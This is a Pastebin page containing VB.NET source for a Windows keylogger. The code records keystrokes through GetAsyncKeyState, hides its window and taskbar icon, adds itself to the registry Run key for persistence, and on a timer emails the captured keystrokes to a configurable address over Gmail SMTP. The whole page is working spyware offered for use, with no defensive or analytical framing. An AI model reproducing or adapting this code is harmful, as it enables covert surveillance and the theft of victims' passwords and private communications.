Advertisement
Lelchkies

Keylogger VB.NET (Backup)

Mar 27th, 2017
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.73 KB | None | 0 0
  1. Option Strict On
  2. Imports System.Net.Mail
  3.  
  4. Public Class Form3
  5.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
  6.     Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
  7.         Try
  8.             Dim smtpserver As New SmtpClient
  9.             smtpserver.EnableSsl = True
  10.             smtpserver.Credentials = New Net.NetworkCredential("EMAIL", "EMAIL PASSWORD")
  11.             smtpserver.Port = 587
  12.             smtpserver.Host = "smtp.gmail.com"
  13.  
  14.             Dim mail As New MailMessage
  15.             mail = New MailMessage
  16.             mail.From = New MailAddress("EMAIL", "EMAIL NAME (BOB JOHNS)")
  17.             mail.To.Add("WHAT EMAIL YOU WANT TO SEND TO")
  18.             mail.Subject = ("New Key Log Data")
  19.             mail.Body = txtLogs.Text
  20.             smtpserver.Send(mail)
  21.  
  22.         Catch ex As Exception
  23.             Me.Close()
  24.         End Try
  25.     End Sub
  26.  
  27.     Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
  28.         Dim result As Integer
  29.         Dim key As String
  30.         Dim i As Integer
  31.  
  32.         For i = 2 To 90
  33.             result = 0
  34.             result = GetAsyncKeyState(i)
  35.  
  36.             If result = -32767 Then
  37.                 key = Chr(i)
  38.                 If i = 13 Then key = vbNewLine
  39.                 Exit For
  40.             End If
  41.         Next i
  42.  
  43.         If key <> Nothing Then
  44.             If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  45.                 txtLogs.Text &= key
  46.             Else
  47.                 txtLogs.Text &= key.ToLower
  48.             End If
  49.         End If
  50.  
  51.         If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
  52.             Me.Visible = True
  53.         End If
  54.  
  55.     End Sub
  56.  
  57.     Private Sub Form3_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
  58.         txtLogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
  59.     End Sub
  60.  
  61.     Private Sub Form3_Load(sender As Object, e As EventArgs) Handles Me.Load
  62.         Me.ShowIcon = False
  63.         Me.ShowInTaskbar = False
  64.         Me.Visible = False
  65.         txtLogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
  66.         My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue(Application.ProductName, Application.ExecutablePath)
  67.     End Sub
  68.  
  69.     Private Sub FlatButton1_Click(sender As Object, e As EventArgs) Handles FlatButton1.Click
  70.         tmrEmail.Stop()
  71.         tmrKey.Stop()
  72.         MsgBox("Keylog Has Been Stopped")
  73.     End Sub
  74.  
  75.     Private Sub FlatButton2_Click(sender As Object, e As EventArgs) Handles FlatButton2.Click
  76.         Application.Exit()
  77.     End Sub
  78. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement